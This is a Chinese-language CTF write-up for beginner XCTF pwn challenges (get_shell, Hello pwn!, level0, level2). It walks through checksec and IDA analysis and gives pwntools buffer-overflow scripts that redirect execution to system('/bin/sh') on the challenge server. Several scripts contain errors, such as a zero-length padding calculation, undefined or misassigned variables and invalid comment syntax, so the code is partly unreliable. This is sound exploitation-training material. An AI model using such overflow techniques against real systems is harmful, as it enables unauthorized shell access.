攻防世界PWN新手区WP(长期更新)

题目地址:https://adworld.xctf.org.cn/task/task_list?type=pwn&number=2&grade=0

一、get_shell

获取靶场,nc登上查看即可,

image-20211117192610443

二、Hello pwn!

首先拖进ksli里,用checksec看看文件多少位,以及保护措施的开关。

image-20211117193524850

嗯,只开了NX,好耶!

接下来用64位的ida打开分析逻辑,如下图

image-20211117194019299

看准“&”,重拳出击。很明显,本题要求我们输入数据到unk_601068的位置上,并在dword_60106C等于1853186401时,输出flag。

明白运行逻辑,我们就明白了,我们需要向其中填入垃圾数据时其溢出到dword_60106C,这样程序就可以运行函数拿到flag,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
from pwn import  *

context.arch = "amd64"

p = remote('地址', 端口)

payload = b'a' * (0x60106C - 0x60106C) + p64(1853186401)

io.sendlineafter("bof\n", payload)

io.interactive()

运行,皆大欢喜。

image-20211117195744632

三、level0

先用checksec看一下文件位数和保护措施,如下图

level0_01

依旧是只有NX开了,题目应该比较简单

将文件拖入ida,先分析与运行逻辑,再shift + f12, 查看有没有后门函数,

image-20211119104858061

发现上图输入出存在栈溢出可能(buf为80字节,要输入200字节),然后去找后门函数

image-20211119105037317

发现有“/bin/sh”,同时有system,点进去发现后门在名为“callsystem”的函数里,因此我们的目标很明确了,同通过栈溢出将buf覆盖,并将epb转移到函数上,使程序运行后门函数,编写脚本即可,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context,arch = "amd64" // 切换环境

io = remote('地址', 端口)

callsystem = 0x400596 // 函数在栈中的位置

payload = b'a' * (0x80 + 0x08) + p64(callsystem) // 使程序最终运行后门函数

io = sendline(payload)

io.interactive()

运行脚本,结果如下,成功控制服务器,寻找、查看flag即可。

image-20211119110053521

四、level2 (level1去哪了???)

在做完看不见的level1之后,我们来到了level2🐶

首先,查看一下文件的信息与保护措施

image-20211208135638738

32位可执行程序,只开启了NX,因此不能直接使用shellcode,但是可以进行栈溢出,构建ROP链。

拖进ida查看一下

第一张图片显示不出时显示的文字
第二张图片显示不出时显示的文字

很好,有system函数和/bin/sh字符串,应该不需要自己构建了,溢出覆盖即可,接下来查看函数

main函数如下:

image-20211208140205803

接着查看vulnerable_function函数:

image-20211208140847287

这里存在明显可以发生栈溢出的状况,到这一步,我们的思路基本上确定了,通过溢出覆盖构造一个system(“/bin/sh”)的伪栈帧,vulnerable_function()执行结束后返回到我们构造的伪栈帧去执行system(“bin/sh”),这样就可以获取shell。

上linux!

image-20211208141809821

首先查找system函数和/bin/sh/字节的地址(这里刚学习使用elf直接查找,用ida也可以)

接下来就是编写脚本了,具体思路就是:

将返回地址覆盖为system函数,再将system函数引向/bin/sh字节,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

io = remote('地址', 端口)


sys_addr = 0x8048320
bin_addr = 0x804a024

payload = b'a' * (0x88 + 0x04) + p32(sys_addr) + p32(0) + p32(bin_addr)

io.sendline(payload)

io.interactive()

其中的p32(0) ,是为了栈平衡,覆盖函数的返回地址,system的参数实际上是两字节后的/bin/sh。

image-20211209111403902